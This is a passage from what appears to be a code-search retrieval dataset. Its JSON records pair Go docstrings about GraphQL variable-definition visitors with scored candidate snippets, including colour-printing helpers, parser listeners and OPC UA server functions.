"0.47511196", "text": "func (a Amount) ColorRaw(invert bool) string {\n\tred := false\n\tif a.Decimal.LessThan(decimal.Zero) {\n\t\tred = !red\n\t}\n\tif invert {\n\t\tred = !red\n\t}\n\n\ts := a.StringRaw()\n\tif red {\n\t\treturn color.RedString(s)\n\t} else {\n\t\treturn color.GreenString(s)\n\t}\n}", "title": "" }, { "docid": "3c171fcb35f0f4bf7b14b62da4a1ddca", "score": "0.474528", "text": "func (c *Console) Green(format string, a ...interface{}) {\n\tfmt.Println(c.Greenf(format, a...))\n}", "title": "" }, { "docid": "0596f9bd6ebeed378b1386b8702d6453", "score": "0.47376898", "text": "func Color(str string) (ret string) {\n\tret = fmt.Sprintf(\"\\033[%d;3m%s\\033[0m\", colors[i], str)\n\ti = (i + 1) % len(colors)\n\treturn\n}", "title": "" }, { "docid": "075ebe138d1efceecd28f7bce53b5fb1", "score": "0.47184238", "text": "func (b *Buffer) SendBad(s ...string) { b.sendColor(text.Bad, s...) }", "title": "" }, { "docid": "2eec06ac4411892e47f6b627c9267a31", "score": "0.4714562", "text": "func ColorPrint(s string, i int) {\n\tkernel32 := syscall.NewLazyDLL(\"kernel32.dll\")\n\tproc := kernel32.NewProc(\"SetConsoleTextAttribute\")\n\thandle, _, _ := proc.Call(uintptr(syscall.Stdout), uintptr(i))\n\tfmt.Print(s)\n\thandle, _, _ = proc.Call(uintptr(syscall.Stdout), uintptr(7))\n\tCloseHandle := kernel32.NewProc(\"CloseHandle\")\n\tCloseHandle.Call(handle)\n}", "title": "" }, { "docid": "683836cb31c58ea7c9f57efe91b634c3", "score": "0.47138044", "text": "func (report Report) printResult() {\n\tvar c *color.Color\n\n\tif report.result == RequestSent {\n\t\tc = color.New(color.FgGreen)\n\t} else {\n\t\tc = color.New(color.FgRed)\n\t}\n\n\tc.Printf(\"%s Result: %s\\n\", smallArrow, report.result)\n}", "title": "" }, { "docid": "bdd6c8b26d772e11189bcca528835a69", "score": "0.47126538", "text": "func (r *SimpleEmbedResponse) SetColor(color int) {\n\tr.Color = color\n}", "title": "" } ]
21517346874f21299ef99ad3471b1802
VisitVariableDefinition implements VariableDefinitionVisitAction by calling f(node, ctx).
[ { "docid": "8674874419b95c4041518e81b945d277", "score": "0.79203075", "text": "func (f VariableDefinitionVisitActionFunc) VisitVariableDefinition(node *ast.VariableDefinition, ctx interface{}) Result {\n\treturn f(node, ctx)\n}", "title": "" } ]
[ { "docid": "7942df4bed565c90fc33e379920e7380", "score": "0.7244644", "text": "func (v *Visitor) VisitVariableDefinition(node *ast.VariableDefinition, ctx interface{}) Result {\n\tif v.variableDefinitionVisitAction != nil {\n\t\treturn v.variableDefinitionVisitAction.VisitVariableDefinition(node, ctx)\n\t}\n\treturn Continue\n}", "title": "" }, { "docid": "c3e38b93e2e38163987f013e267e0a78", "score": "0.68923616", "text": "func (f VariableDefinitionsVisitActionFunc) VisitVariableDefinitions(node ast.VariableDefinitions, ctx interface{}) Result {\n\treturn f(node, ctx)\n}", "title": "" }, { "docid": "0a833cbfe6459063a553a63515a60563", "score": "0.6842485", "text": "func (f VariableVisitActionFunc) VisitVariable(node ast.Variable, ctx interface{}) Result {\n\treturn f(node, ctx)\n}", "title": "" }, { "docid": "960fd5ba33adf366f36af99493ee942d", "score": "0.64364225", "text": "func NewVariableDefinitionVisitor(action VariableDefinitionVisitAction) *Visitor {\n\treturn &Visitor{\n\t\tvariableDefinitionVisitAction: action,\n\t}\n}", "title": "" }, { "docid": "a41b6f4895372ae03653d7e91707f1dd", "score": "0.6104654", "text": "func (v *Visitor) VisitVariableDefinitions(node ast.VariableDefinitions, ctx interface{}) Result {\n\tif v.variableDefinitionsVisitAction != nil {\n\t\treturn v.variableDefinitionsVisitAction.VisitVariableDefinitions(node, ctx)\n\t}\n\treturn Continue\n}", "title": "" }, { "docid": "ba56ddadcf6ce6a6d5a3ba37ebcd7083", "score": "0.6076411", "text": "func (v *Visitor) VisitVariable(node ast.Variable, ctx interface{}) Result {\n\tif v.variableVisitAction != nil {\n\t\treturn v.variableVisitAction.VisitVariable(node, ctx)\n\t}\n\treturn Continue\n}", "title": "" }, { "docid": "97bc3218b4f7762539bd2edcfb0c0903", "score": "0.5843932", "text": "func varDefinition(env *Env, key string, args []Sexp) Sexp {\n\tvalue := args[0].Eval(env, &StackFrame{}, false)\n\tenv.store[key] = value\n\treturn value\n}", "title": "" }, { "docid": "121f25d3fb1c064b0fa5aa6c4a9f4479", "score": "0.5794477", "text": "func (p *parser) parseVariableDefinition() (*ast.VariableDefinition, error) {\n\tvar (\n\t\tdefaultValue ast.Value\n\t\tdirectives ast.Directives\n\t)\n\n\tvariable, err := p.parseVariable()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif _, err := p.expect(token.KindColon); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvariableType, err := p.parseType()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif p.peek().Kind == token.KindEquals {\n\t\tif defaultValue, err = p.parseDefaultValue(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif p.peek().Kind == token.KindAt {\n\t\tif directives, err = p.parseDirectives(true /* isConst */); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn &ast.VariableDefinition{\n\t\tVariable: variable,\n\t\tType: variableType,\n\t\tDefaultValue: defaultValue,\n\t\tDirectives: directives,\n\t}, nil\n}", "title": "" }, { "docid": "d0025c25dce752ea0f02801b3779d250", "score": "0.57928807", "text": "func (s *BaseSV2017ParserListener) EnterFor_variable_declaration(ctx *For_variable_declarationContext) {\n}", "title": "" }, { "docid": "94fa5c62ae33ac7ac21aa9f78686388d", "score": "0.5765164", "text": "func parseVariableDefinition(l *lexer) *ast.VariableDefinition {\n\tloc := l.location()\n\tvariable := parseVariable(l)\n\tl.advance(token.COLON)\n\tt := ParseType(l)\n\tvar defaultValue ast.Value\n\tif l.peek() == token.EQUALS {\n\t\tl.advance(token.EQUALS)\n\t\tdefaultValue = ParseValueLiteral(l, true)\n\t}\n\tvar directives []*ast.Directive\n\tif l.peek() == token.AT {\n\t\tdirectives = parseDirectives(l)\n\t}\n\treturn &ast.VariableDefinition{\n\t\tKind: kinds.VariableDefinition,\n\t\tVar: variable,\n\t\tType: t,\n\t\tDefaultValue: defaultValue,\n\t\tLoc: loc,\n\t\tDirectives: directives,\n\t}\n}", "title": "" }, { "docid": "d419551025cce6a5ee8ffd2e7ed1000b", "score": "0.5712225", "text": "func (s *BaseSystemVerilogParserListener) EnterFor_variable_declaration(ctx *For_variable_declarationContext) {\n}", "title": "" }, { "docid": "2db2817591ad11c08bcfd4ab4db0366d", "score": "0.56618124", "text": "func (v *Variable) Accept(visitor Visitor) (Expression, error) {\n\treturn visitor.VisitVariable(v)\n}", "title": "" }, { "docid": "5470e8a81928d12193109159acff4a57", "score": "0.55742604", "text": "func DoVariableCall(node parser.Node, val Node, variables *map[string]Node) Node {\n\tswitch val.NodeType {\n\tcase NODETYPE_FN:\n\t\treturn doFnCall(node, val, variables)\n\tcase NODETYPE_STRUCT:\n\t\treturn doStructCreation(node, val, variables)\n\tcase NODETYPE_MACRO:\n\t\treturn doMacroCall(node, val, variables)\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Variable %s is not callable! (line %d)\", node.Token.Value, node.Token.Line))\n\t}\n}", "title": "" }, { "docid": "628e596bd9bdf2c87101f5bf197964bd", "score": "0.5568983", "text": "func (v *typeCheckVisitor) VisitVariableNode(node *node.VariableNode) {\n\tv.AbstractVisitor.VisitVariableNode(node)\n\ttargetType := v.symbolTable.FindTypeByNode(node.Type)\n\n\tif node.Expression != nil {\n\t\tv.checkExpressionTypes(node.Expression, targetType)\n\t}\n}", "title": "" }, { "docid": "b9bca160fdd8100045798899fec9d8ae", "score": "0.55495054", "text": "func (s *BaseSV2017ParserListener) ExitFor_variable_declaration(ctx *For_variable_declarationContext) {\n}", "title": "" }, { "docid": "b2f9a5253fb03cbd92d5ac4c540bd37f", "score": "0.5524256", "text": "func (s *BaseSV2017ParserListener) EnterVariable_dimension(ctx *Variable_dimensionContext) {}", "title": "" }, { "docid": "fffb2e655973a5357ef40e337b54eab0", "score": "0.5520076", "text": "func (s *BaseFGListener) EnterVariable(ctx *VariableContext) {}", "title": "" }, { "docid": "fa33fe7a3f842f4f8c5833fa885c5fa7", "score": "0.54904056", "text": "func NewVariableDefinitionsVisitor(action VariableDefinitionsVisitAction) *Visitor {\n\treturn &Visitor{\n\t\tvariableDefinitionsVisitAction: action,\n\t}\n}", "title": "" }, { "docid": "f2bda3bbdfc9ffd0a86444a7319d908e", "score": "0.54647636", "text": "func NewVariableVisitor(action VariableVisitAction) *Visitor {\n\treturn &Visitor{\n\t\tvariableVisitAction: action,\n\t}\n}", "title": "" }, { "docid": "1b006ee5dc6c63c3e3d2ea5f0ea58717", "score": "0.54590327", "text": "func (s *BaseSystemVerilogParserListener) ExitFor_variable_declaration(ctx *For_variable_declarationContext) {\n}", "title": "" }, { "docid": "905f3de17b352cff6e5e86ac1c575c79", "score": "0.5440337", "text": "func typeCheckVariableNode(server []UA_Server, session []UA_Session, node []UA_VariableNode, vt []UA_VariableTypeNode, parentNodeId []UA_NodeId) UA_StatusCode {\n\tvar value UA_DataValue\n\t// The value might come from a datasource, so we perform a\n\t// * regular read.\n\tUA_DataValue_init((*[100000000]UA_DataValue)(unsafe.Pointer(&value))[:])\n\tvar retval UA_StatusCode = readValueAttribute(server, session, node, (*[100000000]UA_DataValue)(unsafe.Pointer(&value))[:])\n\tif retval != UA_StatusCode((uint32_t((uint32((0)))))) {\n\t\treturn UA_StatusCode(retval)\n\t}\n\tif int((int((noarch.NotUA_Boolean(compatibleDataType(server, (*[100000000]UA_NodeId)(unsafe.Pointer(&node[0].dataType))[:], (*[100000000]UA_NodeId)(unsafe.Pointer(&vt[0].dataType))[:], 0)))))) != 0 {\n\t\t// Check the datatype against the vt\n\t\treturn UA_StatusCode((uint32_t((uint32((uint32(2155085824)))))))\n\t}\n\tvar arrayDims uint = uint(node[0].arrayDimensionsSize)\n\tif arrayDims == uint((0)) && int((int((UA_Boolean(value.hasValue))))) != 0 && value.value.type_ != nil && int((int((noarch.NotUA_Boolean(UA_Variant_isScalar((*[100000000]UA_Variant)(unsafe.Pointer(&value.value))[:])))))) != 0 {\n\t\t// Get the array dimensions\n\t\t// No array dimensions on an array implies one dimension\n\t\tarrayDims = 1\n\t}\n\tif !(uint32(node[0].nodeClass) == uint32(UA_NODECLASS_VARIABLETYPE) && int((int((UA_Boolean((node)[0].isAbstract))))) != 0 && UA_Int32(node[0].valueRank) == UA_Int32((int32_t((__int32_t((0))))))) && int((int((noarch.NotUA_Boolean(compatibleValueRankArrayDimensions(UA_Int32(node[0].valueRank), uint(arrayDims))))))) != 0 {\n\t\t// Check valueRank against array dimensions\n\t\treturn UA_StatusCode((uint32_t((uint32((uint32(2155085824)))))))\n\t}\n\tvar objectTypes UA_NodeId = UA_NODEID_NUMERIC(0, 58)\n\tif UA_Int32(node[0].valueRank) != UA_Int32(vt[0].valueRank) && UA_Int32(node[0].valueRank) != UA_Int32(UA_VariableAttributes_default.valueRank) && int((int((noarch.NotUA_Boolean(isNodeInTree((*[100000000]UA_Nodestore)(unsafe.Pointer(&server[0].config.nodestore))[:], parentNodeId, (*[100000000]UA_NodeId)(unsafe.Pointer(&objectTypes))[:], parentReferences, 2)))))) != 0 {\n\t\tif int((int((noarch.NotUA_Boolean(compatibleValueRanks(UA_Int32(node[0].valueRank), UA_Int32(vt[0].valueRank))))))) != 0 {\n\t\t\t// If variable node is created below BaseObjectType and has its default valueRank of -2,\n\t\t\t// * skip the test\n\t\t\t// TODO handle subtypes of parent reference types\n\t\t\t// Check valueRank against the vt\n\t\t\treturn UA_StatusCode((uint32_t((uint32((uint32(2155085824)))))))\n\t\t}\n\t}\n\tif int((int((noarch.NotUA_Boolean(compatibleArrayDimensions(uint(vt[0].arrayDimensionsSize), vt[0].arrayDimensions, uint(node[0].arrayDimensionsSize), node[0].arrayDimensions)))))) != 0 {\n\t\t// Check array dimensions against the vt\n\t\treturn UA_StatusCode((uint32_t((uint32((uint32(2155085824)))))))\n\t}\n\tif int((int((noarch.NotUA_Boolean(UA_Boolean(server[0].bootstrapNS0)))))) != 0 && int((int((UA_Boolean(value.hasValue))))) != 0 {\n\t\tif int((int((noarch.NotUA_Boolean(compatibleValue(server, (*[100000000]UA_NodeId)(unsafe.Pointer(&node[0].dataType))[:], UA_Int32(node[0].valueRank), uint(node[0].arrayDimensionsSize), node[0].arrayDimensions, (*[100000000]UA_Variant)(unsafe.Pointer(&value.value))[:], nil)))))) != 0 {\n\t\t\t// Typecheck the value\n\t\t\t// If the type-check failed write the same value again. The\n\t\t\t// * write-service tries to convert to the correct type...\n\t\t\tretval = UA_Server_writeValue(server, node[0].nodeId, value.value)\n\t\t}\n\t\tUA_DataValue_deleteMembers((*[100000000]UA_DataValue)(unsafe.Pointer(&value))[:])\n\t}\n\treturn UA_StatusCode(retval)\n}", "title": "" }, { "docid": "fc6e6cc3d901ea17fa28a17047626010", "score": "0.53727144", "text": "func (s *BasepowerbuilderParserListener) EnterVariable_decl_sub(ctx *Variable_decl_subContext) {}", "title": "" }, { "docid": "cbb6175f02238ec60188e976295ccf11", "score": "0.5340958", "text": "func UA_Server_addVariableNode(server []UA_Server, requestedNewNodeId UA_NodeId, parentNodeId UA_NodeId, referenceTypeId UA_NodeId, browseName UA_QualifiedName, typeDefinition UA_NodeId, attr UA_VariableAttributes, nodeContext interface{}, outNewNodeId []UA_NodeId) UA_StatusCode {\n\treturn __UA_Server_addNode(server, UA_NODECLASS_VARIABLE, (*[100000000]UA_NodeId)(unsafe.Pointer(&requestedNewNodeId))[:], (*[100000000]UA_NodeId)(unsafe.Pointer(&parentNodeId))[:], (*[100000000]UA_NodeId)(unsafe.Pointer(&referenceTypeId))[:], browseName, (*[100000000]UA_NodeId)(unsafe.Pointer(&typeDefinition))[:], (*[100000000]UA_VariableAttributes)(unsafe.Pointer(&attr))[:], (*[100000000]UA_DataType)(unsafe.Pointer(&UA_TYPES[35]))[:], nodeContext, outNewNodeId)\n}", "title": "" }, { "docid": "104f6f708c28c08070c1601a5420bf4d", "score": "0.5340387", "text": "func (s *BasepowerbuilderParserListener) EnterVariable_decl(ctx *Variable_declContext) {}", "title": "" }, { "docid": "def718f4ab84ab440bac176d3b5e51ea", "score": "0.53328186", "text": "func UA_Server_setVariableNode_valueCallback(server []UA_Server, nodeId UA_NodeId, callback UA_ValueCallback) UA_StatusCode {\n\treturn UA_Server_editNode(server, (*[100000000]UA_Session)(unsafe.Pointer(&adminSession))[:], (*[100000000]UA_NodeId)(unsafe.Pointer(&nodeId))[:], UA_EditNodeCallback(setValueCallback), nil)\n}", "title": "" }, { "docid": "44e933599cf721b9a09e88bfc53acedc", "score": "0.5319864", "text": "func (b *builder) buildVariable(v *VariableNode) error {\n\tdefaultValue, deps, err := b.bindProperty(v.Name+\".default\", v.Config.Default, Schemas{}, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(deps) != 0 {\n\t\treturn errors.Errorf(\"variables may not depend on other nodes (%v)\", v.Name)\n\t}\n\tv.DefaultValue = defaultValue\n\treturn nil\n}", "title": "" }, { "docid": "d0eef0db30224aedcc868462b36d4b19", "score": "0.5319823", "text": "func (s *BaseSV2017ParserListener) EnterAssertion_variable_declaration(ctx *Assertion_variable_declarationContext) {\n}", "title": "" }, { "docid": "3abd6afde97d0719ed33072ae43410cb", "score": "0.5311553", "text": "func renderVariable(v *script.Variable) {\n\tfmtc.Printf(\"{s}%4d:{!} {c*}%s{!} {s}={!} \"+colorizeValue(v.Value)+\" \"+getVarTypeDesc(v.Type)+\"\\n\", v.Line, v.Name)\n\tfmtc.Printf(\" %s\\n\", v.UnitedDesc())\n}", "title": "" }, { "docid": "7a3b85f0c73ee4799e6c4e55875fd307", "score": "0.5292837", "text": "func (g *VariableGrouping) Variable(name string, typ TypeReference, format string, args ...interface{}) *VariableGrouping {\n\tv := &Variable{\n\t\tIdentifier: Identifier{\n\t\t\tName: name,\n\t\t\tType: typ,\n\t\t},\n\t\tConstant: false,\n\t\tFormat: format,\n\t\tArgs: args,\n\t}\n\tg.Variables = append(g.Variables, v)\n\treturn g\n}", "title": "" }, { "docid": "60907c7701af279277e94dee52566a57", "score": "0.5288497", "text": "func (s *ScriptFilter) Variable(k, v string) {\n\tif k == \"\" {\n\t\treturn\n\t}\n\tif s.variables == nil {\n\t\ts.variables = make(Variables)\n\t}\n\ts.variables[k] = v\n}", "title": "" }, { "docid": "51ee3808e12e7ef3d9a4880578d993a4", "score": "0.52852297", "text": "func (e *ExpressionAtom) AcceptVariable(vari *Variable) error {\n\tif e.Variable != nil {\n\n\t\treturn errors.New(\"variable for ExpressionAtom already assigned\")\n\t}\n\te.Variable = vari\n\n\treturn nil\n}", "title": "" }, { "docid": "e04763da9b590387216b35ff6af85143", "score": "0.5274619", "text": "func execVar(_ int, p *gop.Context) {\n\targs := p.GetArgs(3)\n\tflag.Var(args[0].(flag.Value), args[1].(string), args[2].(string))\n}", "title": "" }, { "docid": "a9ca85754fcea98eeef9b9e6a27c89c3", "score": "0.52607554", "text": "func DefineVariable(id string, e ast.Expression) *ast.VariableAssignment {\n\treturn &ast.VariableAssignment{\n\t\tID: &ast.Identifier{\n\t\t\tName: id,\n\t\t},\n\t\tInit: e,\n\t}\n}", "title": "" }, { "docid": "56b60ce3292609fe116647470d2a6008", "score": "0.5257889", "text": "func (s *BaseSystemVerilogParserListener) EnterVariable_dimension(ctx *Variable_dimensionContext) {}", "title": "" }, { "docid": "aa68c4194cd82d268eacc2416874614b", "score": "0.52425593", "text": "func (s *BaseVerilogParserListener) EnterGenvar_declaration(ctx *Genvar_declarationContext) {}", "title": "" }, { "docid": "a6f2d4385bf29590578504849ccb60a0", "score": "0.5223421", "text": "func (s *BaseVerilogParserListener) EnterVariable_identifier(ctx *Variable_identifierContext) {}", "title": "" }, { "docid": "6ed6aa4841f84129dfb11c50f9b29474", "score": "0.5199819", "text": "func (s *BasegruleListener) EnterVariable(ctx *VariableContext) {}", "title": "" }, { "docid": "dfb85c92d51ce58a229f40ad1d890614", "score": "0.51923114", "text": "func (v *VarWrite) Visit(n ast.Node) (w ast.Visitor) {\n\tn = DiscoverNode(n)\n\treturn v\n\n\t/*switch t := n.(type) {\n\tcase *ast.GenDecl:\n\t\tif t.Tok == token.VAR {\n\n\t\t\tt.Specs = []ast.Spec{}\n\n\t\t\tt.Specs = append(t.Specs, &ast.ValueSpec{\n\t\t\t\tNames: v.Names,\n\t\t\t\tComment: v.Comments,\n\t\t\t\tType: *v.Expr,\n\t\t\t})\n\n\t\t\tfor _, spec := range t.Specs {\n\t\t\t\tif vs, ok := spec.(*ast.ValueSpec); ok {\n\n\t\t\t\t\tvs.Names = v.Names\n\t\t\t\t\tvs.Comment = v.Comments\n\t\t\t\t\tvs.Type = *v.Expr\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcase *ast.TypeSpec:\n\t\tif spec.Name.String() == v.Name {\n\t\t\tswitch structType := spec.Type.(type) {\n\t\t\tcase *ast.StructType:\n\t\t\t\tstructType.Fields.List = DiscoverList(v.Fields)\n\t\t\t\tspec.Comment = v.Comments\n\t\t\t\tv.Ok = true\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\treturn v*/\n}", "title": "" }, { "docid": "158cc14a47ac6cbd40646135b6a37b63", "score": "0.5187811", "text": "func (ve *VarExpr) Accept(visitor Visitor) interface{} {\n\treturn visitor.VisitVarExpr(ve)\n}", "title": "" }, { "docid": "4255f9ebc71b314b804dc7d6d5774363", "score": "0.51871383", "text": "func Variable(markup ...vecty.MarkupOrChild) *vecty.HTML {\n\treturn vecty.Tag(\"var\", markup...)\n}", "title": "" }, { "docid": "b84d7b7e17d8d105993b3b539b40d87a", "score": "0.5186258", "text": "func (s *BaseSV2017ParserListener) EnterVariable_decl_assignment(ctx *Variable_decl_assignmentContext) {\n}", "title": "" }, { "docid": "00af5de84d94cbb5ca8ce8fd1700b08b", "score": "0.5177168", "text": "func (s *BaseSystemVerilogParserListener) EnterVariable_identifier(ctx *Variable_identifierContext) {}", "title": "" }, { "docid": "88b0682fa8fbf5a72a83151ceba1a22b", "score": "0.5171737", "text": "func lexVariable(l *lexer) stateFn {\n\tif l.atTerminator() { // Nothing interesting follows -> \"$\".\n\t\tl.emit(itemVariable)\n\t\treturn lexText\n\t}\n\treturn lexFieldOrVariable(l, itemVariable)\n}", "title": "" }, { "docid": "bb0462c8706e00d0ebc33517244d2e39", "score": "0.51634943", "text": "func handleVariable(v reflect.Value, n interface{}) interface{} {\n\tif n != nil {\n\t\tc := reflect.ValueOf(n).Convert(v.Elem().Type())\n\t\tv.Elem().Set(c)\n\t}\n\n\treturn v.Elem()\n}", "title": "" }, { "docid": "5927ff2e1173ca27f56d18961ead28e9", "score": "0.5130807", "text": "func (s *BaseSystemVerilogParserListener) EnterGenvar_declaration(ctx *Genvar_declarationContext) {}", "title": "" }, { "docid": "52460dc5a689997f05ea90434afbd444", "score": "0.51093173", "text": "func (s *BaseSystemVerilogParserListener) EnterVariable_decl_assignment(ctx *Variable_decl_assignmentContext) {\n}", "title": "" }, { "docid": "8890c9995943e1420080ee68b8088944", "score": "0.5078856", "text": "func (n *VariableExpr) Accept(v Visitor) (Node, bool) {\n\tnewNode, skipChildren := v.Enter(n)\n\tif skipChildren {\n\t\treturn v.Leave(newNode)\n\t}\n\tn = newNode.(*VariableExpr)\n\tif n.Value == nil {\n\t\treturn v.Leave(n)\n\t}\n\n\tnode, ok := n.Value.Accept(v)\n\tif !ok {\n\t\treturn n, false\n\t}\n\tn.Value = node.(ExprNode)\n\treturn v.Leave(n)\n}", "title": "" }, { "docid": "84a004b7db194afdd60087c4145fa32c", "score": "0.5058491", "text": "func (s *BaseSV2017ParserListener) EnterGenvar_declaration(ctx *Genvar_declarationContext) {}", "title": "" }, { "docid": "e91aabdfa897e1fc8023123226c39ed0", "score": "0.504162", "text": "func (s *BaseSystemVerilogParserListener) EnterAssertion_variable_declaration(ctx *Assertion_variable_declarationContext) {\n}", "title": "" }, { "docid": "fdb5a959cf6c14ccd3431c49cd513660", "score": "0.50347847", "text": "func NewVariableFieldDef(p_name string,\n\tp_len_encoding int,\n\tp_data_encoding int,\n\tp_len_ind_size int) *VariableFieldDef {\n\n\tfield := new(VariableFieldDef)\n\tfield.name = p_name\n\tfield.data_encoding = p_data_encoding\n\tfield.length_encoding = p_len_encoding\n\tfield.len_ind_size = p_len_ind_size\n\n\treturn field\n\n}", "title": "" }, { "docid": "f999e53e97c74608e63057c2f9d06058", "score": "0.50230366", "text": "func (f *Builder) Variable(key string, value interface{}) *Builder {\n\tif f.op == add || f.op == set {\n\t\tf.variables[key] = fmt.Sprintf(\"%v\", value)\n\t} else if f.op == del {\n\t\tdelete(f.variables, key)\n\t} else if f.op == rem {\n\t\tre := regexp.MustCompile(key)\n\t\tfor key := range f.variables {\n\t\t\tif re.MatchString(key) {\n\t\t\t\tdefer delete(f.variables, key)\n\t\t\t}\n\t\t}\n\t}\n\treturn f\n}", "title": "" }, { "docid": "2f39aeb71a438a79aaaa0eddd3e127c5", "score": "0.5002871", "text": "func (e FunctionDefinitionExpression) Visit(env Environment) Value {\n\treturn NoneValue()\n}", "title": "" }, { "docid": "0dc10f9301d704c271850b376e7f30f7", "score": "0.50028", "text": "func addVariableTypeNode(server []UA_Server, name []byte, variabletypeid UA_UInt32, isAbstract UA_Boolean, valueRank UA_Int32, dataType UA_UInt32, type_ []UA_DataType, parentid UA_UInt32) UA_StatusCode {\n\tvar attr UA_VariableTypeAttributes = UA_VariableTypeAttributes_default\n\tattr.displayName = UA_LOCALIZEDTEXT([]byte(\"\\x00\"), name)\n\tattr.dataType = UA_NODEID_NUMERIC(0, UA_UInt32(dataType))\n\tattr.isAbstract = isAbstract\n\tattr.valueRank = valueRank\n\tif type_ != nil {\n\t\tvar tempVal []UA_Byte\n\t\tUA_init(tempVal, type_)\n\t\tUA_Variant_setScalar((*[100000000]UA_Variant)(unsafe.Pointer(&attr.value))[:], tempVal, type_)\n\t\treturn UA_Server_addVariableTypeNode(server, UA_NODEID_NUMERIC(0, UA_UInt32(variabletypeid)), UA_NODEID_NUMERIC(0, UA_UInt32(parentid)), UA_NODEID_NULL, UA_QUALIFIEDNAME(0, name), UA_NODEID_NULL, attr, nil, nil)\n\t}\n\treturn UA_Server_addVariableTypeNode(server, UA_NODEID_NUMERIC(0, UA_UInt32(variabletypeid)), UA_NODEID_NUMERIC(0, UA_UInt32(parentid)), UA_NODEID_NULL, UA_QUALIFIEDNAME(0, name), UA_NODEID_NULL, attr, nil, nil)\n}", "title": "" }, { "docid": "b30392db46c47fa25c6436d58f803b2d", "score": "0.49798906", "text": "func (s *BaseECMAScriptListener) EnterVariableStatement(ctx *VariableStatementContext) {}", "title": "" }, { "docid": "4d0e4f0783eac606802ccda473134296", "score": "0.49747765", "text": "func (vds *VariableDeclarationStatement) Visit(ctx *parser.VariableDeclarationStatementContext) {\n\tvds.Start = ctx.GetStart()\n\tvds.Stop = ctx.GetStop()\n\n\tswitch {\n\n\tcase ctx.IdentifierList() != nil:\n\t\tidentifierList := ctx.IdentifierList().(*parser.IdentifierListContext)\n\t\tfor _, identifierCtx := range identifierList.AllIdentifier() {\n\t\t\tidentifier := identifierCtx.(*parser.IdentifierContext).GetText()\n\t\t\tvds.Identifiers = append(vds.Identifiers, identifier)\n\t\t}\n\n\tcase ctx.VariableDeclaration() != nil:\n\t\tvarDec := NewVariableDeclaration()\n\t\tvarDec.Visit(ctx.VariableDeclaration().(*parser.VariableDeclarationContext))\n\n\t\tvds.VariableDeclaration = varDec\n\n\tcase ctx.VariableDeclarationList() != nil:\n\t\tvarDecList := ctx.VariableDeclarationList().(*parser.VariableDeclarationListContext)\n\t\tfor _, varDecCtx := range varDecList.AllVariableDeclaration() {\n\t\t\tvarDec := NewVariableDeclaration()\n\t\t\tvarDec.Visit(varDecCtx.(*parser.VariableDeclarationContext))\n\n\t\t\tvds.VariableDeclarationList = append(vds.VariableDeclarationList, varDec)\n\t\t}\n\t}\n\n\tif ctx.Expression() != nil {\n\t\texpr := NewExpression()\n\t\texpr.Visit(ctx.Expression().(*parser.ExpressionContext))\n\n\t\tvds.Expression = expr\n\t}\n}", "title": "" }, { "docid": "209fd5b93a9eba09c203860797cc5ca1", "score": "0.49738726", "text": "func (v *setIDVisitor) VisitVarDeclaration(i *Instruction) interface{} {\n\tv.setID(i)\n\treturn i.VisitChildren(v)\n}", "title": "" }, { "docid": "a015a6e7fc2c1bae5be246170108d477", "score": "0.4967155", "text": "func (r *renderer) lookupVarFunc(key string) (interface{}, error) {\n\tval, ok := r.variables[key]\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"Missing template variable '%s'\", key)\n\t}\n\n\treturn val, nil\n}", "title": "" }, { "docid": "cfb2552b9f9a253ef9dd2eeb6bd2a40d", "score": "0.49585736", "text": "func NewExprNodeVariable(name string, sourcePos, sourceLen int) ExprNode {\n\treturn ExprNode{\n\t\tType: NodeTypeVariable,\n\t\tName: name,\n\t\tSourcePos: sourcePos,\n\t\tSourceLen: sourceLen,\n\t}\n}", "title": "" }, { "docid": "6f7381ec23b694d75efaac25952abe9a", "score": "0.49579138", "text": "func VariableSelector(selector func(path Evaluables) Evaluable) Language {\n\tl := newLanguage()\n\tl.selector = selector\n\treturn l\n}", "title": "" }, { "docid": "dd231461a7a201439e61c15272b1f826", "score": "0.4949306", "text": "func (s *BaseSV2017ParserListener) ExitFor_variable_declaration_var_assign(ctx *For_variable_declaration_var_assignContext) {\n}", "title": "" }, { "docid": "623c1e9c45a66b617f4ff1f7ccc1c89d", "score": "0.4949189", "text": "func (s *wfScope) resolveVar(v string) (interface{}, error) {\n\tv = strings.TrimPrefix(v, \"{{\")\n\tv = strings.TrimSuffix(v, \"}}\")\n\tparts := strings.Split(v, \".\")\n\tprefix := parts[0]\n\tswitch prefix {\n\tcase \"steps\", \"tasks\", \"workflow\":\n\t\tval, ok := s.scope[v]\n\t\tif ok {\n\t\t\treturn val, nil\n\t\t}\n\tcase \"inputs\":\n\t\tart := s.tmpl.Inputs.GetArtifactByName(parts[2])\n\t\tif art != nil {\n\t\t\treturn *art, nil\n\t\t}\n\t}\n\treturn nil, errors.Errorf(errors.CodeBadRequest, \"Unable to resolve: {{%s}}\", v)\n}", "title": "" }, { "docid": "38817bd601f8c86ef6b08b4c4a66be24", "score": "0.4945908", "text": "func (s *BaselisaListener) EnterVariable(ctx *VariableContext) {}", "title": "" }, { "docid": "31e1ad823447a7a5f35365f025ac2131", "score": "0.49457824", "text": "func (e *ExpressionAtom) AcceptMemberVariable(name string) {\n\te.VariableName = name\n}", "title": "" }, { "docid": "347011959465684d4982f7daa10644d1", "score": "0.49422106", "text": "func (s *BaseJava8ParserListener) EnterVariableDeclarator(ctx *VariableDeclaratorContext) {}", "title": "" }, { "docid": "3588f16bc3d9fe3ee9f6927dd71f1784", "score": "0.49354813", "text": "func (s *BaseSV2017ParserListener) ExitVariable_dimension(ctx *Variable_dimensionContext) {}", "title": "" }, { "docid": "2d45d92c681ba5997c8df1a67f1c4d69", "score": "0.49295872", "text": "func (p *parser) parseVariableDefinitions() ([]*ast.VariableDefinition, error) {\n\tvar variableDefinitions []*ast.VariableDefinition\n\n\tif _, err := p.expect(token.KindLeftParen); err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor {\n\t\tvariableDefinition, err := p.parseVariableDefinition()\n\t\tif err != nil {\n\t\t\treturn nil, 